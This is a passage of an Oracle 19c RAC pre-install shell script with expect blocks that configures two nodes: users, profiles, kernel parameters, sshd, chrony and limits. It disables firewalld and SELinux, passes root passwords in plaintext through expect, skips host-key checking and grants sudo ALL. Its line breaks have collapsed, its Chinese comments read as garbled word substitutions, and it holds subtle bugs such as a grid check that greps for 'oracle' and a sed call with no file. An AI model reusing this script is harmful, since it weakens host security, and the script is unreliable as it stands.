"$rootpw\r"}}expect eofEOF# 执行脚本expect >>$logfile << EOFset timeout 100spawn ssh $PubIP2expect { "password:" {send "$rootpw\r"}}expect "root@*" {send "hostnamectl set-hostname $hostname2 --static\r"}expect "root@*" {send "exit\r"}expect eofEOF# 2. 配置 OS 组及用户# https://docs.oracle.com/en/database/oracle/oracle-database/19/cwsol/example-of-creating-minimal-groups-users-paths.html#GUID-103186A1-74E0-42A8-AC3D-15AF833DCB40split1 "# 2. 配置 OS 组及用户 on $(hostname) :"split1 "# 2. 配置 OS 组及用户 on $(hostname) :" >>$logfileecho '#!/bin/bash' >/tmp/usergrp.shcat >>/tmp/usergrp.sh <<usergecho "# \$(hostname) 配置 OS 组及用户:"groupadd -g 54321 oinstallgroupadd -g 54322 dbagroupadd -g 54323 opergroupadd -g 54324 backupdbagroupadd -g 54325 dgdbagroupadd -g 54326 kmdbagroupadd -g 54327 asmdbagroupadd -g 54328 asmopergroupadd -g 54329 asmadmingroupadd -g 54330 racdbau1=\$(grep oracle /etc/passwd | wc -l)u2=\$(grep oracle /etc/passwd | wc -l)if [ \$u1 -ge 1 ]; then userdel oraclefiif [ \$u2 -ge 1 ]; then userdel gridfiuseradd -g oinstall -G dba,oper,backupdba,dgdba,kmdba,asmdba,asmoper,asmadmin,racdba -u 1000 -m oracleuseradd -g oinstall -G dba,asmdba,asmoper,asmadmin,racdba -u 1001 -m gridecho "$ORAPWD" | passwd --stdin oracleecho "$ORAPWD" | passwd --stdin gridmkdir -p $GI_HOMEmkdir -p $GI_BASEmkdir -p $ORA_BASEmkdir -p $ORA_HOMEmkdir -p $ORA_INVchown -R grid:oinstall $rootdirchown -R oracle:oinstall $ORA_BASEchmod -R 775 $rootdirusergchmod +x /tmp/usergrp.sh; sh /tmp/usergrp.sh >>$logfile# 拷贝脚本到 $hostname2 并执行echo "# 拷贝脚本 /tmp/usergrp.sh 到 $hostname2 并执行:"echo "# 拷贝脚本 /tmp/usergrp.sh 到 $hostname2 并执行:" >>$logfileexpect >>$logfile << EOFset timeout 100spawn scp /tmp/usergrp.sh $PubIP2:/tmp/expect { "(yes/no)" {send "yes\r"; exp_continue} "password:" {send "$rootpw\r"}}expect eofEOF# 执行脚本expect >>$logfile << EOFset timeout 100spawn ssh $PubIP2expect { "password:" {send "$rootpw\r"}}expect "root@*" {send "sh /tmp/usergrp.sh\r"}expect "root@*" {send "exit\r"}expect eofEOF# 3. 设置环境变量配置文件split1 "# 3. 设置环境变量配置文件 .bash_profile:"split1 "# 3. 设置环境变量配置文件 .bash_profile:" >>$logfileif [ "$(hostname)" == "$hostname1" ]; then # For root on node01 sed -i '/ORACLE_HOME/d' /root/.bash_profile echo "export ORACLE_HOME=$GI_HOMEexport GRID_HOME=\$ORACLE_HOMEexport PATH=\$PATH:\$ORACLE_HOME/bin:\$ORACLE_HOME/OPatch" >>/root/.bash_profile echo -e "# root: \n$(cat /root/.bash_profile)\n" >>$logfile # For root on node02 expect >>$logfile << EOFset timeout 100spawn scp /root/.bash_profile $PubIP2:/root/expect { "password:" {send "$rootpw\r"}}expect eofEOF # # For oracle on node01 sed -i '/export\|alias\|umask\|^$/d' /home/oracle/.bash_profile cat >>/home/oracle/.bash_profile <<EOFumask 022export TMP=/tmpexport TMPDIR=\$TMPexport ORACLE_HOSTNAME=$hostname1export ORACLE_BASE=$ORA_BASEexport ORACLE_HOME=$ORA_HOMEexport ORACLE_SID=$ORA_SID1export ORACLE_INVENTORY=$ORA_INVexport INVENTORY_LOCATION=\$ORACLE_INVENTORY# export ORACLE_PDB_SID=$PDB_SIDexport NLS_LANG="AMERICAN_AMERICA.AL32UTF8"export NLS_DATE_FORMAT="yyyy-mm-dd HH24:MI:SS"export TNS_ADMIN=\$ORACLE_HOME/network/adminexport LD_LIBRARY_PATH=\$ORACLE_HOME/lib:/lib:/usr/libexport PATH=.:\$PATH:\$HOME/bin:\$ORACLE_HOME/bin:\$ORACLE_HOME/OPatchexport THREADS_FLAG=native# alias sqlplus='rlwrap sqlplus'# alias rman='rlwrap rman'alias ss='sqlplus / as sysdba'EOF echo -e "# oracle: \n$(cat /home/oracle/.bash_profile)\n" >>$logfile # For oracle on node02 expect >>$logfile << EOFset timeout 100spawn scp /home/oracle/.bash_profile oracle@$PubIP2:/home/oracle/expect { "password:" {send "$ORAPWD\r"}}expect eofEOF# 执行脚本expect >>$logfile << EOFset timeout 100spawn ssh oracle@$PubIP2expect { "password:" {send "$ORAPWD\r"}}expect "oracle@*" {send "sed -i 's/$ORA_SID1/$ORA_SID2/g' /home/oracle/.bash_profile\r"}expect "oracle@*" {send "sed -i 's/$hostname1/$hostname2/g' /home/oracle/.bash_profile\r"}expect "oracle@*" {send "exit\r"}expect eofEOF # # For grid on node01 sed -i '/export\|alias\|umask\|^$/d' /home/grid/.bash_profile cat >>/home/grid/.bash_profile <<EOFumask 022export TMP=/tmpexport TMPDIR=\$TMPexport ORACLE_HOSTNAME=$hostname1export ORACLE_SID=+ASM1export ORACLE_BASE=$GI_BASEexport GRID_BASE=\$ORACLE_BASEexport ORACLE_HOME=$GI_HOMEexport GRID_HOME=\$ORACLE_HOMEexport ORACLE_INVENTORY=$ORA_INVexport INVENTORY_LOCATION=\$ORACLE_INVENTORYexport NLS_LANG="AMERICAN_AMERICA.AL32UTF8"export NLS_DATE_FORMAT="yyyy-mm-dd HH24:MI:SS"export TNS_ADMIN=\$ORACLE_HOME/network/adminexport LD_LIBRARY_PATH=\$ORACLE_HOME/lib:/lib:/usr/libexport PATH=.:\$PATH:\$HOME/bin:\$ORACLE_HOME/bin:\$ORACLE_HOME/OPatchexport THREADS_FLAG=native# alias sqlplus='rlwrap sqlplus'# alias rman='rlwrap rman'alias ss='sqlplus / as sysasm'EOF echo -e "# grid: \n$(cat /home/grid/.bash_profile)\n" >>$logfile # For grid on node02 expect >>$logfile << EOFset timeout 100spawn scp /home/grid/.bash_profile grid@$PubIP2:/home/grid/expect { "(yes/no)" {send "yes\r"; exp_continue} "password:" {send "$ORAPWD\r"}}expect eofEOF# 执行脚本expect >>$logfile << EOFset timeout 100spawn ssh grid@$PubIP2expect { "(yes/no)" {send "yes\r"; exp_continue} "password:" {send "$ORAPWD\r"}}expect "grid@*" {send "sed -i 's/ASM1/ASM2/g' /home/grid/.bash_profile\r"}expect "grid@*" {send "sed -i 's/$hostname1/$hostname2/g' /home/grid/.bash_profile\r"}expect "grid@*" {send "exit\r"}expect eofEOFelse result_err "# Please execute this script on $hostname1,while this machine hostname is: $(hostname)" result_err "# Please execute this script on $hostname1,while this machine hostname is: $(hostname)" >>$logfile exit 1fiif [ $? -ne 0 ]; then result_err "# 设置环境变量, Failed" result_err "# 设置环境变量, Failed" >>$logfile exit 1else result_ok "# 设置环境变量, successful" result_ok "# 设置环境变量, successful" >>$logfilefi# 4. Check OS and Configuration 查看系统配置# $ISVirtual ≥ 1, is Virtual Machine# export routeip=$(route -n | egrep -iv "Gateway|routing" | awk '{print $2}' | grep -v "0\.0\.0\.0")# export routeprefix=$(echo $routeip | awk -F"." '{print $1"."$2}')split1 "# 4. Check OS and Configuration 查看系统配置:"split1 "# 4. Check OS and Configuration 查看系统配置:" >>$logfileecho '#!/bin/bash'>/tmp/osinfo.shcat >>/tmp/osinfo.sh <<osinfoexport routeprefix=\$(route -n | egrep -iv "Gateway|routing" | awk '{print \$2}' | grep -v "0\.0\.0\.0" | awk -F"." '{print \$1"."\$2}')export client_ip=\$(ip a | grep -w inet | grep -Eiv "secondary|virbr|docker|:|127.0.0.1|192.168.1\." | awk -F " +|/" '{ print \$3}' | grep \$routeprefix)export ISVirtual=\$(dmidecode -s system-product-name | grep -i virtual | wc -l)export MachineName=\$(dmidecode -s system-product-name)if [ -f /etc/yum/pluginconf.d/subscription-manager.conf ]; then sed -i 's/enabled=1/enabled=0/g' /etc/yum/pluginconf.d/subscription-manager.conf yum remove subscription-manager -yelse echo "subscription-manager.conf file not exist, Do nothing"fiif [ \$ISVirtual -eq 0 ]; then machine_type="物理机" export RAM_GB=\$(dmidecode | grep -P -A5 "Memory\s+Device" | grep GB | awk '{sum+=\$2} END {print sum}')else machine_type="虚拟机" export RAM_GB=\$(free -g | grep Mem | awk '{print \$2}')ficpus=\$(lscpu | grep ^'CPU(s):' | awk '{print \$2}' | grep -v ^\$)sockets=\$(lscpu | grep ^'Socket(s):' | awk -F":" '{print \$2}' | grep -v ^\$ | sed 's/^[ ]*//g')cores_per_sock=\$(lscpu | grep "Core(s) per socket:" | awk -F":" '{print \$2}' | grep -v ^\$ | sed 's/^[ ]*//g')cpu_name=\$(lscpu | grep "Model name:" | awk -F":" '{print \$2}' | grep -v ^\$ | sed 's/^[ ]*//g')Cores=\$((\${sockets} * \${cores_per_sock}))echo "# \$(hostname) 硬件及OS Version信息采集: 服务器IP:\$client_ip 服务器类型:\$machine_type 机器型号/平台:\$MachineName CPU name:\$cpu_name CPU(s):\$cpus Core(s):\$Cores Socket(s):\$sockets Core(s) per socket:\$cores_per_sock"osinfochmod +x /tmp/osinfo.sh; sh /tmp/osinfo.sh >>$logfileif [ $? -ne 0 ]; then result_err "# Check OS and Configuration 查看系统配置, Failed" result_err "# Check OS and Configuration 查看系统配置, Failed" >>$logfile exit 1else result_ok "# Check OS and Configuration 查看系统配置, successful" result_ok "# Check OS and Configuration 查看系统配置, successful" >>$logfilefi# 拷贝到 $hostname2 并执行脚本expect >>$logfile << EOFset timeout 100spawn scp /tmp/osinfo.sh $PubIP2:/tmp/expect { "password:" {send "$rootpw\r"}}expect eofEOF# 执行脚本expect >>$logfile << EOFset timeout 100spawn ssh $PubIP2expect { "password:" {send "$rootpw\r"}}expect "root@*" {send "sh /tmp/osinfo.sh\r"}expect "root@*" {send "exit\r"}expect eofEOFif [ $? -ne 0 ]; then result_err "# $hostname2 查看系统配置, Failed" result_err "# $hostname2 查看系统配置, Failed" >>$logfile exit 1else result_ok "# $hostname2 查看系统配置, successful" result_ok "# $hostname2 查看系统配置, successful" >>$logfilefi# 5. 解压软件,如果存在,仅节点1执行split1 "# 5. 解压软件,如果存在,仅节点1执行:"split1 "# 5. 解压软件,如果存在,仅节点1执行:" >>$logfileif [ -f $grid_install_file ] && [ "$(hostname)" == "$hostname1" ]; then echo "# unziping grid install file to $GI_HOME..." echo "# unziping grid install file to $GI_HOME..." >>$logfile su - grid -c "unzip -qo $grid_install_file -d $GI_HOME/; mv $GI_HOME/OPatch $GI_HOME/OPatch.$(date +%Y%m%d%H%M); unzip -qo $opatch_install_file -d $GI_HOME/" >>$logfile echo -e "\n# unzip grid install file End!\n$(ls $GI_HOME/)\n" >>$logfilefiif [ -f $db_install_file ] && [ "$(hostname)" == "$hostname1" ]; then echo "# unziping DB install file to $ORA_HOME..." echo "# unziping DB install file to $ORA_HOME..." >>$logfile su - oracle -c "unzip -qo $db_install_file -d $ORA_HOME/; mv $ORA_HOME/OPatch $ORA_HOME/OPatch.$(date +%Y%m%d%H%M); unzip -qo $opatch_install_file -d $ORA_HOME/" >>$logfile echo -e "\n# unzip DB install file End!\n$(ls $ORA_HOME/)\n" >>$logfilefiif [ -f ${ru_zip_file} ] && [ "$(hostname)" == "$hostname1" ];then echo "# unziping RU zip file to $softdir/patch/..." echo "# unziping RU zip file to $softdir/patch/..." >>$logfile unzip -qo ${ru_zip_file} -d $softdir/patch/; chmod -R 777 $softdir/patch/ echo -e "\n# unzip Ru zip file End!\n$(ls -l $softdir/patch/)\n" >>$logfilefichown -R grid:oinstall $rootdirchown -R oracle:oinstall $ORA_BASEchmod -R 775 $rootdir# 测试环境空间不太够用,$rootdir 和 /tmp 都在/ 下,判断目录有余时清理zip文件tmpmnt=$(df -m /tmp/ | grep -v Filesystem | awk '{print $6}' | sed -e '/^$/d')rootdirmnt=$(df -m $rootdir | grep -v Filesystem | awk '{print $6}' | sed -e '/^$/d')rootdirleft=$(df -m $rootdir | grep -v Filesystem | awk '{print $4}' | sed -e '/^$/d')if [ "$tmpmnt" == "$rootdirmnt" ] && [ $rootdirleft -le 20480 ];then echo "# $rootdirmnt 残余空间太少,且同 zip 文件雷同文件系统,删除 zip 文件" echo "# $rootdirmnt 残余空间太少,且同 zip 文件雷同文件系统,删除 zip 文件" >>$logfile rm -rf $softdir/*.zip >>$logfileelif [ $rootdirleft -le 20480 ]; then echo "# $rootdirmnt 残余空间太少, 请留神" echo "# $rootdirmnt 残余空间太少, 请留神" >>$logfilefi# 6. 配置 ssh 互信split1 "# 6. 配置 ssh 互信(oracle grid root),仅在解压文件的节点1执行:"split1 "# 6. 配置 ssh 互信(oracle grid root),仅在解压文件的节点1执行:" >>$logfileif [ -f $GI_HOME/oui/prov/resources/scripts/sshUserSetup.sh ]; then for i in oracle grid root; do if [ "$i" == "root" ]; then export pass=$rootpw else export pass=$ORAPWD fi expect >>$logfile << EOFspawn $GI_HOME/oui/prov/resources/scripts/sshUserSetup.sh -user $i -hosts "$hostname1 $hostname2" -advanced -noPromptPassphraseexpect { "(yes/no)" {send "yes\r"; exp_continue} "*assword:" {send "$pass\r";exp_continue}}expect eofEOF expect >>$logfile << EOFspawn $GI_HOME/oui/prov/resources/scripts/sshUserSetup.sh -user $i -hosts "$Priv1NAME $Priv2NAME" -advanced -noPromptPassphraseexpect { "(yes/no)" {send "yes\r"; exp_continue} "*assword:" {send "$pass\r";exp_continue}}expect eofEOF for g in $hostname1 $hostname2 $Priv1NAME $Priv2NAME; do echo "# Testing $g for $i" >>$logfile if [ "$i" == "root" ]; then ssh -l $i -o StrictHostKeyChecking=no $g date >>$logfile else su - $i -c "ssh -l $i -o StrictHostKeyChecking=no $g date" >>$logfile fi if [ $? -ne 0 ]; then result_err "# $i Test $g sshUserSetup Maybe Failed" result_err "# $i Test $g sshUserSetup Maybe Failed" >>$logfile exit 1 else result_ok "# $i 配置 $g ssh 互信, successful" result_ok "# $i 配置 $g ssh 互信, successful" >>$logfile fi done donefi# 7. 查看 RAM\Swap\shm# swap 不须要设置过大,最大32GB,Oracle倡议是16GB(内存>=16GB);eq 内存大小(小于16GB)# shm 默认是内存的1/2,配置Oracle会不够用,调整为等同可用内存大小(自己未取总内存)split1 "# 7. 查看 RAM\Swap\shm"split1 "# 7. 查看 RAM\Swap\shm" >>$logfileecho '#!/bin/bash'>/tmp/shm.shcat >>/tmp/shm.sh<<shmecho "# 设置 /dev/shm:\$(hostname)"shmsizegb=\$(echo "scale=0;\$(df -PmT /dev/shm | grep shm | awk '{print \$3}')/1024" | bc)swapgb=\$(echo "scale=0;\$(grep SwapTotal /proc/meminfo | awk '{print \$2}')/1024/1024" | bc)memgb=\$(echo "scale=0;\$(grep MemTotal /proc/meminfo | awk '{print \$2}')/1024/1024" | bc)if [ \$shmsizegb -lt \$memgb ]; then echo "resize /dev/shm to \${memgb}G" sed -i '/\/dev\/shm/d' /etc/fstab echo "tmpfs /dev/shm tmpfs defaults,size=\${memgb}G,noatime,nodiratime 0 0" >>/etc/fstab mount -o remount /dev/shmelse echo "/dev/shm equal to MemTotal, Now \$(df -h | grep /dev/shm | awk '{print $2}')"fishmchmod +x /tmp/shm.sh;sh /tmp/shm.sh >>$logfileif [ $? -ne 0 ]; then result_err "# 查看 RAM\Swap\shm, Failed" result_err "# 查看 RAM\Swap\shm, Failed" >>$logfile exit 1else result_ok "# 查看 RAM\Swap\shm, successful" result_ok "# 查看 RAM\Swap\shm, successful" >>$logfilefiscp /tmp/shm.sh $hostname2:/tmp/ >>$logfileecho "sh /tmp/shm.sh;exit" | ssh $hostname2 >>$logfileif [ $? -ne 0 ]; then result_err "# $hostname2 查看 RAM\Swap\shm, Failed" result_err "# $hostname2 查看 RAM\Swap\shm, Failed" >>$logfile exit 1else result_ok "# $hostname2 查看 RAM\Swap\shm, successful" result_ok "# $hostname2 查看 RAM\Swap\shm, successful" >>$logfilefi# 8. 禁用防火墙firewalldsplit1 "# 8. $(hostname) 禁用防火墙 firewalld:" split1 "# 8. $(hostname) 禁用防火墙 firewalld:" >>$logfilesystemctl stop firewalldsystemctl disable firewalldecho "# $hostname2 禁用防火墙 firewalld" >>$logfileecho "systemctl stop firewalld;systemctl disable firewalld;exit" | ssh $hostname2 >>$logfileif [ $? -ne 0 ]; then result_err "# $hostname2 禁用防火墙 firewalld, Failed" result_err "# $hostname2 禁用防火墙 firewalld, Failed" >>$logfile exit 1else result_ok "# $hostname2 禁用防火墙 firewalld, successful" result_ok "# $hostname2 禁用防火墙 firewalld, successful" >>$logfilefi# 9. 禁用 SElinuxsplit1 "# 9. 禁用 SElinux:"split1 "# 9. 禁用 SElinux:" >>$logfileecho '#!/bin/bash' >/tmp/sel.shcat >>/tmp/sel.sh <<selecho "# 9 禁用 SElinux: \$(hostname)"if [ \$(getenforce) != "Disabled" ]; then export SELINUX=\$(grep ^SELINUX= /etc/selinux/config) if [ \$SELINUX != "SELINUX=disabled" ]; then cp /etc/selinux/config /etc/selinux/config_\$(date +"%Y%m%d_%H%M%S") && sed -i 's/SELINUX\=enforcing/SELINUX\=disabled/g' /etc/selinux/config echo "Changed SElinux configuration, reboot later..." else echo "The SELINUX configuration file has been modified before." fi setenforce 0else echo "SELINUX is already disabled, Do nothing."fiselchmod 777 /tmp/sel.sh;sh /tmp/sel.sh >>$logfileif [ $? -ne 0 ]; then result_err "# 禁用 SElinux, Failed" result_err "# 禁用 SElinux, Failed" >>$logfile exit 1else result_ok "# 禁用 SElinux, successful" result_ok "# 禁用 SElinux, successful" >>$logfilefiscp /tmp/sel.sh $hostname2:/tmp/ >>$logfileecho "sh /tmp/sel.sh;exit" | ssh $hostname2 >>$logfileif [ $? -ne 0 ]; then result_err "# $hostname2 禁用 SElinux, Failed" result_err "# $hostname2 禁用 SElinux, Failed" >>$logfile exit 1else result_ok "# $hostname2 禁用 SElinux, successful" result_ok "# $hostname2 禁用 SElinux, successful" >>$logfilefi# 10. 禁用虚构网卡split1 "# 10. 禁用虚构网卡 libvirtd on $hostname1:"split1 "# 10. 禁用虚构网卡 libvirtd on $hostname1:" >>$logfilesystemctl stop libvirtdsystemctl disable libvirtdyum remove libvirt-libsecho "# 10 禁用虚构网卡,for $hostname2"echo "# 10 禁用虚构网卡,for $hostname2" >>$logfileecho "systemctl stop libvirtd;systemctl disable libvirtd;yum remove libvirt-libs;exit"|ssh $hostname2 >>$logfileif [ $? -ne 0 ]; then result_err "# $hostname2 禁用虚构网卡, Failed" result_err "# $hostname2 禁用虚构网卡, Failed" >>$logfileelse result_ok "# $hostname2 禁用虚构网卡, successful" result_ok "# $hostname2 禁用虚构网卡, successful" >>$logfilefi# 11. 禁用 zeroconf 路由# Zero configuration networking(zeroconf)零配置网络服务标准,是一种用于主动生成可用IP地址的网络技术,不须要额定的手动配置和专属的配置服务器。Avahi 是Zeroconf标准的开源实现split1 "# 11. 禁用 zeroconf 路由:"split1 "# 11. 禁用 zeroconf 路由:" >>$logfile# 配置 NOZEROCONFsed -i '/NOZEROCONF/d' /etc/sysconfig/networkecho "NOZEROCONF=yes" >>/etc/sysconfig/network# 禁用 Avahisystemctl stop avahi-daemon.servicesystemctl stop avahi-daemon.socketsystemctl disable avahi-daemon.servicesystemctl disable avahi-daemon.socketecho "# 禁用 zeroconf 路由 for $hostname2:"echo "# 禁用 zeroconf 路由 for $hostname2:" >>$logfilescp /etc/sysconfig/network $hostname2:/etc/sysconfig/ >>$logfileecho "systemctl stop avahi-daemon.service;systemctl stop avahi-daemon.socket;systemctl disable avahi-daemon.service;systemctl disable avahi-daemon.socket;exit"|ssh $hostname2 >>$logfile# 12. 禁用通明大页 THP 和 NUMAsplit1 "# 12. 禁用通明大页 THP 和 NUMA:"split1 "# 12. 禁用通明大页 THP 和 NUMA:" >>$logfileecho '#!/bin/bash'>/tmp/thp.shcat >>/tmp/thp.sh<<thpecho "# 12 \$(hostname) 禁用通明大页 THP 和 NUMA:"export AnonHP=\$(grep AnonHugePages /proc/meminfo | awk '{print \$2}')export TPHstatus=\$(cat /sys/kernel/mm/transparent_hugepage/enabled | awk -F"[][]" '{print \$2}')if [ \$AnonHP -gt 0 ] || [ \$TPHstatus != "never" ]; then echo "Checked TPH is not completely disabled!" cp /etc/default/grub /etc/default/grub_\$(date +"%Y%m%d_%H%M%S") && sed -i 's/quiet"/quiet numa=off transparent_hugepage=never"/' /etc/default/grub if [ -d /sys/firmware/efi ]; then # On UEFI: echo "OS running use UEFI, Turn off TPH By grub /boot/efi/EFI/redhat/grub.cfg" cp /boot/efi/EFI/redhat/grub.cfg /boot/efi/EFI/redhat/grub.cfg_\$(date +"%Y%m%d_%H%M%S") && grub2-mkconfig -o /boot/efi/EFI/redhat/grub.cfg else # On BIOS: echo "OS running use BIOS, Turn off TPH By grub /boot/grub2/grub.cfg" cp /boot/grub2/grub.cfg /boot/grub2/grub.cfg_\$(date +"%Y%m%d_%H%M%S") && grub2-mkconfig -o /boot/grub2/grub.cfg fielse echo "TPH already disabled."fised -i '/transparent_hugepage/d' /etc/rc.localsed -i "/^fi\b/Id" /etc/rc.localecho "if test -f /sys/kernel/mm/transparent_hugepage/enabled; then echo never > /sys/kernel/mm/transparent_hugepage/enabledfiif test -f /sys/kernel/mm/transparent_hugepage/defrag; then echo never > /sys/kernel/mm/transparent_hugepage/defragfi" >>/etc/rc.localthpchmod +x /tmp/thp.sh;sh /tmp/thp.sh >>$logfileif [ $? -ne 0 ]; then result_err "# $hostname1 禁用通明大页 THP 和 NUMA, Failed" result_err "# $hostname1 禁用通明大页 THP 和 NUMA, Failed" >>$logfile exit 1else result_ok "# $hostname1 禁用通明大页 THP 和 NUMA, successful" result_ok "# $hostname1 禁用通明大页 THP 和 NUMA, successful" >>$logfilefiscp /tmp/thp.sh $hostname2:/tmp/echo "sh /tmp/thp.sh;exit" | ssh $hostname2 >>$logfileif [ $? -ne 0 ]; then result_err "# $hostname2 禁用通明大页 THP 和 NUMA, Failed" result_err "# $hostname2 禁用通明大页 THP 和 NUMA, Failed" >>$logfile exit 1else result_ok "# $hostname2 禁用通明大页 THP 和 NUMA, successful" result_ok "# $hostname2 禁用通明大页 THP 和 NUMA, successful" >>$logfilefi# 13. 配置时钟同步机制 chronydsplit1 "# 13. 配置 chronyd 时钟同步机制 chronyd:"split1 "# 13. 配置 chronyd 时钟同步机制 chronyd:" >>$logfilesystemctl stop ntpdsystemctl disable ntpdsed -i "/$ntpserver\|logchange\|syslog/Id"sed -i "/server 0/i server $ntpserver iburst" /etc/chrony.confsed -i "/pool.ntp.org/d" /etc/chrony.confsed -i "/makestep/d" /etc/chrony.confecho "# Send message to syslog when clock adjustment is larger than 0.1 seconds.logchange 0.1" >>/etc/chrony.confsystemctl restart chronydsystemctl enable chronydscp /etc/chrony.conf $hostname2:/etc/ >>$logfileecho "systemctl stop ntpd;systemctl disable ntpd;systemctl restart chronyd;systemctl enable chronyd;exit"|ssh $hostname2 >>$logfileif [ $? -ne 0 ]; then result_err "# $hostname2 配置 chronyd 时钟同步机制, Failed" result_err "# $hostname2 配置 chronyd 时钟同步机制, Failed" >>$logfile exit 1else result_ok "# $hostname2 配置 chronyd 时钟同步机制, successful" result_ok "# $hostname2 配置 chronyd 时钟同步机制, successful" >>$logfilefi# 14. 批改登录验证split1 "# 14. 批改 pam 登录验证:"split1 "# 14. 批改 pam 登录验证:" >>$logfilesed -i '/pam_limits.so/d' /etc/pam.d/loginecho "session required pam_limits.sosession required /lib64/security/pam_limits.so" >>/etc/pam.d/loginecho "# 14 批改 pam 登录验证:for $hostname2" >>$logfilescp /etc/pam.d/login $hostname2:/etc/pam.d/ >>$logfileif [ $? -ne 0 ]; then result_err "# $hostname2 批改 pam 登录验证, Failed" result_err "# $hostname2 批改 pam 登录验证, Failed" >>$logfile exit 1else result_ok "# $hostname2 批改 pam 登录验证, successful" result_ok "# $hostname2 批改 pam 登录验证, successful" >>$logfilefi# 15. 批改 limit 资源限度split1 "# 15. 批改 /etc/security/limits.conf limit 资源限度:"split1 "# 15. 批改 /etc/security/limits.conf limit 资源限度:" >>$logfilesed -i "/oracle\|grid\|oinstall/d" /etc/security/limits.confecho "# Add oinstall group limits@oinstall soft nofile 16384@oinstall hard nofile 65536@oinstall soft nproc 16384@oinstall hard nproc 65536@oinstall soft stack 16384@oinstall hard stack 32768@oinstall soft memlock unlimited@oinstall hard memlock unlimited" >>/etc/security/limits.confecho "# 批改 /etc/security/limits.conf limit 资源限度: for $hostname2"echo "# 批改 /etc/security/limits.conf limit 资源限度: for $hostname2" >>$logfilescp /etc/security/limits.conf $hostname2:/etc/security/ >>$logfileif [ $? -ne 0 ]; then result_err "# $hostname2 批改 /etc/security/limits.conf limit 资源限度, Failed" result_err "# $hostname2 批改 /etc/security/limits.conf limit 资源限度, Failed" >>$logfile exit 1else result_ok "# $hostname2 批改 /etc/security/limits.conf limit 资源限度, successful" result_ok "# $hostname2 批改 /etc/security/limits.conf limit 资源限度, successful" >>$logfilefi# 16. 批改 kernel 配置split1 "# 16. 批改 /etc/sysctl.conf kernel 配置:"split1 "# 16. 批改 /etc/sysctl.conf kernel 配置:" >>$logfilesed -i '/[^fs.|^vm.|^kernel.|^net.|^$]/Id' /etc/sysctl.confmemTotal=$(grep MemTotal /proc/meminfo | awk '{print $2}')MEM=$(expr $(grep MemTotal /proc/meminfo | awk '{print $2}') \* 1024)SHMALL=$(($MEM * 9 / 10 / $(getconf PAGE_SIZE)))SHMMAX=$(($MEM * 9 / 10)) # 这里配置为 90% RAM大小# shmmax(bytes) = shmmni(page size, default 4k) * shmall (page的个数)if [ $SHMALL -lt 2097152 ]; then ## 2097152*4k/1024/1024=8G SHMALL=2097152fiSHMMAX=$((memTotal * 1024 - 1))if [ "$SHMMAX" -lt 4294967295 ]; then ## 4294967295k/1024/1024=4095MB SHMMAX=4294967295fiecho "fs.file-max = 6815744fs.aio-max-nr = 1048576kernel.sem = 250 32000 100 128kernel.shmmni = 4096kernel.shmall = $SHMALLkernel.shmmax = $SHMMAXkernel.panic_on_oops = 1net.core.rmem_default = 262144net.core.rmem_max = 41943044net.core.wmem_default = 262144net.core.wmem_max = 4194304net.ipv4.ip_local_port_range = 10000 65500net.ipv4.conf.all.rp_filter = 2net.ipv4.conf.default.rp_filter = 2net.ipv6.conf.all.disable_ipv6 = 1net.ipv6.conf.default.disable_ipv6 = 1net.ipv4.tcp_max_tw_buckets = 10000net.ipv4.tcp_tw_reuse = 1net.ipv4.tcp_keepalive_time = 30net.ipv4.tcp_keepalive_intvl = 10net.ipv4.tcp_retries2 = 12net.ipv4.ip_local_reserved_ports = 15400-15407,20050-20057net.ipv4.tcp_rmem = 8192 250000 16777216net.ipv4.tcp_wmem = 8192 250000 16777216# vm.dirty_background_ratio = 5# vm.dirty_ratio = 40# vm.dirty_expire_centisecs = 500# vm.dirty_writeback_centisecs = 100# vm.min_free_kbytes= 1048576vm.swappiness = 1" >>/etc/sysctl.confsed -i '/^$/Id' /etc/sysctl.confsysctl -psysctl --system >>$logfilescp /etc/sysctl.conf $hostname2:/etc/ >>$logfileecho "sysctl -p;sysctl --system;exit"|ssh $hostname2 >>$logfileif [ $? -ne 0 ]; then result_err "# $hostname2 批改 /etc/sysctl.conf kernel 配置, Failed" result_err "# $hostname2 批改 /etc/sysctl.conf kernel 配置, Failed" >>$logfile exit 1else result_ok "# $hostname2 批改 /etc/sysctl.conf kernel 配置, successful" result_ok "# $hostname2 批改 /etc/sysctl.conf kernel 配置, successful" >>$logfilefi# 17. 批改启动 runlevelsplit1 "# 17. 批改启动 runlevel=3:"split1 "# 17. 批改启动 runlevel=3:" >>$logfilesystemctl set-default multi-user.target# systemctl get-default #查看默认启动形式是什么,如果显示multi-user.target, 阐明是默认命令行启动# systemctl set-default graphical.target #设置开机默认图形桌面启动# systemctl set-default multi-user.target #设置开机默认命令行启动echo "systemctl set-default multi-user.target;exit"|ssh $hostname2 >>$logfileif [ $? -ne 0 ]; then result_err "# $hostname2 批改启动 runlevel=3, Failed" result_err "# $hostname2 批改启动 runlevel=3, Failed" >>$logfile exit 1else result_ok "# $hostname2 批改启动 runlevel=3, successful" result_ok "# $hostname2 批改启动 runlevel=3, successful" >>$logfilefi# 18. 设置ssh,避免登录过慢,启用X11 Forwing 转发(默认拜访接收端6000端口split1 "# 18. 设置 /etc/ssh/sshd_config,避免登录过慢,启用X11 Forwing 转发(默认拜访接收端6000端口)"split1 "# 18. 设置 /etc/ssh/sshd_config,避免登录过慢,启用X11 Forwing 转发(默认拜访接收端6000端口)" >>$logfilecp /etc/ssh/sshd_config /etc/ssh/sshd_config_$(date +"%Y%m%d_%H%M%S") && sed -i '/UseDNS no\|^AllowTcpForwarding yes\|X11UseLocalhost no/d' /etc/ssh/sshd_configsed -i '/#UseDNS yes/a\UseDNS no' /etc/ssh/sshd_configsed -i '/#AllowTcpForwarding yes/a\AllowTcpForwarding yes' /etc/ssh/sshd_configsed -i '/#X11UseLocalhost yes/a\X11UseLocalhost no' /etc/ssh/sshd_configegrep "UseDNS|Forwarding|X11" /etc/ssh/sshd_config >>$logfilesystemctl restart sshdscp /etc/ssh/sshd_config $hostname2:/etc/ssh/ >>$logfileecho "systemctl restart sshd;exit"|ssh $hostname2 >>$logfileif [ $? -ne 0 ]; then result_err "# $hostname2 设置ssh,避免登录过慢,启用X11 Forwing 转发, Failed" result_err "# $hostname2 设置ssh,避免登录过慢,启用X11 Forwing 转发, Failed" >>$logfile exit 1else result_ok "# $hostname2 设置ssh,避免登录过慢,启用X11 Forwing 转发, successful" result_ok "# $hostname2 设置ssh,避免登录过慢,启用X11 Forwing 转发, successful" >>$logfilefi# 19. 设置sudoers,授予oinstall组sudo ALL 权限split1 "# 19. 设置 /etc/sudoers,授予oinstall组sudo ALL 权限:"split1 "# 19. 设置 /etc/sudoers,授予oinstall组sudo ALL 